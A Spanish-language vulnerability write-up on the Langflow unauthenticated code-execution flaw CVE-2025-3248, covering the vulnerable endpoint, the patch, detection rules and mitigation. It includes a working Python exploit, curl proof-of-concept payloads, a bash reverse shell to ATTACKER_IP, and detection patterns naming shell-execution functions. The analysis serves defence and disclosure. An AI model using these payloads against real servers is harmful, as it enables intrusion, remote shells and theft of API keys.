Langflow RCE (CVE-2025-3248)
Resumen Ejecutivo
CVE-2025-3248 es una vulnerabilidad crítica de ejecución remota de código (RCE) sin autenticación en Langflow, la popular plataforma open-source para construir flujos de IA con LLMs. Con un CVSS de 9.8, permite a cualquier atacante ejecutar código Python arbitrario en el servidor a través del endpoint /api/v1/validate/code, que usa exec() sin ningún tipo de sanitización ni autenticación. Ha sido añadida al catálogo CISA KEV por explotación activa confirmada.
| Campo | Detalle |
|---|---|
| CVE | CVE-2025-3248 |
| CVSS | 9.8 (Crítico) |
| Tipo | Inyección de código / RCE |
| Vector | Red / Sin autenticación |
| Afecta | Langflow < 1.3.0 |
| Parcheado en | Langflow 1.3.0 |
¿Qué es Langflow?
Langflow es una herramienta visual de bajo código para construir aplicaciones de IA utilizando modelos de lenguaje (LLMs). Permite a ingenieros de datos y desarrolladores crear pipelines de IA arrastrando y soltando componentes. Su popularidad ha crecido exponencialmente en el ecosistema de IA generativa, lo que la convierte en un objetivo muy atractivo.
El problema es que Langflow expone un endpoint de validación de código que, en versiones anteriores a 1.3.0, no requiere autenticación y ejecuta directamente el código enviado.
Análisis Técnico de la Vulnerabilidad
El endpoint vulnerable: /api/v1/validate/code
Langflow incluye una funcionalidad que permite a los usuarios validar fragmentos de código Python personalizados para sus componentes. Este endpoint utiliza internamente la función exec() de Python sobre el código proporcionado por el usuario.
Código vulnerable real
# langflow/api/v1/validate.py (versiones < 1.3.0)
from fastapi import APIRouter
router = APIRouter()
@router.post("/validate/code")
async def validate_code(code_request: CodeRequest):
"""
Valida el código del usuario parseando el AST.
❌ SIN DECORADOR DE AUTENTICACIÓN — cualquier usuario puede acceder
"""
code = code_request.code
try:
# Parsea el código en un AST (Abstract Syntax Tree)
tree = ast.parse(code)
# ❌ VULNERABLE: exec() ejecuta el código directamente
# sin sandboxing ni validación de seguridad
exec(code, {"__builtins__": __builtins__}, {})
return {"valid": True, "message": "Code is valid"}
except SyntaxError as e:
return {"valid": False, "message": str(e)}
¿Por qué los decoradores y argumentos por defecto son la clave?
El matiz técnico más interesante de esta vulnerabilidad es cómo se ejecuta el código. Python evalúa ciertos elementos durante la definición de la función, antes de que la función sea invocada:
1. Ejecución vía decoradores
# Los decoradores se ejecutan INMEDIATAMENTE al parsear la definición
import os
def malicious_decorator(func):
os.system("id") # ← Se ejecuta al definir la función
return func
@malicious_decorator # ← Ejecutado durante ast.parse + exec
def innocent_function():
pass
2. Ejecución vía argumentos por defecto
# Los valores por defecto se evalúan al DEFINIR la función
import subprocess
def innocent_function(
x=subprocess.check_output(["cat", "/etc/passwd"]) # ← RCE
):
pass
Ambos vectores permiten ejecutar código arbitrario antes de que la función sea llamada, simplemente al ser procesada por exec().
Proof of Concept (PoC)
Exploit Python
#!/usr/bin/env python3
"""
Langflow RCE PoC — CVE-2025-3248
Ejecución de código vía /api/v1/validate/code
SOLO PARA FINES EDUCATIVOS
"""
import requests
import sys
import json
def exploit(target_url, command="id"):
endpoint = f"{target_url.rstrip('/')}/api/v1/validate/code"
# Payload que abusa de decoradores para ejecutar comandos
malicious_code = f'''
import subprocess
import os
def rce_decorator(func):
result = subprocess.check_output("{command}", shell=True)
print(result.decode())
return func
@rce_decorator
def validate_this():
pass
'''
payload = {"code": malicious_code}
print(f"[*] Enviando payload a: {endpoint}")
print(f"[*] Comando: {command}")
try:
response = requests.post(
endpoint,
json=payload,
headers={"Content-Type": "application/json"},
timeout=10
)
print(f"[+] Status: {response.status_code}")
print(f"[+] Respuesta: {json.dumps(response.json(), indent=2)}")
except requests.exceptions.RequestException as e:
print(f"[-] Error: {e}")
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"Uso: {sys.argv[0]} <URL_LANGFLOW> [comando]")
print(f"Ejemplo: {sys.argv[0]} http://target.com id")
sys.exit(1)
target = sys.argv[1]
cmd = sys.argv[2] if len(sys.argv) > 2 else "id"
exploit(target, cmd)
Exploit vía cURL
# PoC mínimo con argumento por defecto malicioso
curl -X POST "http://target.com/api/v1/validate/code" \
-H "Content-Type: application/json" \
-d '{
"code": "import os\ndef x(cmd=os.system(\"id\")):\n pass"
}'
Reverse shell
# ⚠️ SOLO EN ENTORNOS AUTORIZADOS
curl -X POST "http://target.com/api/v1/validate/code" \
-H "Content-Type: application/json" \
-d '{
"code": "import os\ndef x(cmd=os.system(\"bash -c '\''bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'\''\")):\ n pass"
}'
Detección
Indicadores de compromiso
# Buscar peticiones POST al endpoint vulnerable
grep "POST /api/v1/validate/code" access.log
# Buscar payloads con imports sospechosos
grep -E "(os\.system|subprocess|exec|eval|__import__)" access.log
# Verificar procesos hijos inesperados del proceso Langflow
ps aux | grep -E "(langflow|uvicorn)" | head -5
pstree -p $(pgrep -f langflow)
Regla Sigma
title: Langflow CVE-2025-3248 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detecta intentos de explotación de CVE-2025-3248 vía el endpoint de validación
logsource:
category: webserver
product: any
detection:
selection_endpoint:
cs-uri-stem|contains: "/api/v1/validate/code"
cs-method: "POST"
selection_payload:
cs-body|contains:
- "os.system"
- "subprocess"
- "exec("
- "__import__"
- "child_process"
- "reverse_tcp"
condition: selection_endpoint and selection_payload
level: critical
tags:
- cve.2025.3248
- attack.execution
- attack.t1059
Actividad de explotación real
La CISA añadió CVE-2025-3248 a su catálogo Known Exploited Vulnerabilities (KEV) confirmando explotación activa. Se han observado:
- 🤖 Botnet Flodrix: Despliegue de malware automatizado en instancias Langflow expuestas
- 🔑 Robo de credenciales: Extracción de API keys de OpenAI, Anthropic y otros LLMs configurados
- 🖥️ Criptominería: Uso de recursos de GPU/CPU de servidores de IA para minado
- 📊 Exfiltración de datos: Robo de datos de entrenamiento y prompts corporativos
Análisis del parche (v1.3.0)
El parche es conceptualmente simple pero efectivo:
# langflow/api/v1/validate.py
+ from langflow.services.auth import get_current_user
+ from fastapi import Depends
@router.post("/validate/code")
- async def validate_code(code_request: CodeRequest):
+ async def validate_code(
+ code_request: CodeRequest,
+ current_user: User = Depends(get_current_user) # ← Requiere auth
+ ):
code = code_request.code
# ... resto de la validación
La corrección coloca el endpoint detrás de autenticación, requiriendo una sesión de usuario válida. Sin embargo, esto no elimina el uso de exec() — el riesgo se reduce pero no se elimina completamente para usuarios autenticados.
Mitigación
Inmediata
- Actualizar Langflow a la versión 1.3.0 o superior
- Restringir acceso de red a instancias Langflow — no exponer a Internet
- Rotar API keys de todos los LLMs configurados si la instancia estuvo expuesta
Recomendaciones adicionales
# Verificar si tienes Langflow expuesto
nmap -p 7860 --open -sV target-range
# Buscar instancias en Shodan
# shodan search "langflow" --fields ip_str,port,org
Arquitectura segura
- Desplegar Langflow detrás de un reverse proxy con autenticación
- Usar network segmentation para aislar instancias de IA
- Implementar monitoring de llamadas al endpoint
/api/v1/validate/code - Considerar usar contenedores con privilegios mínimos (no root)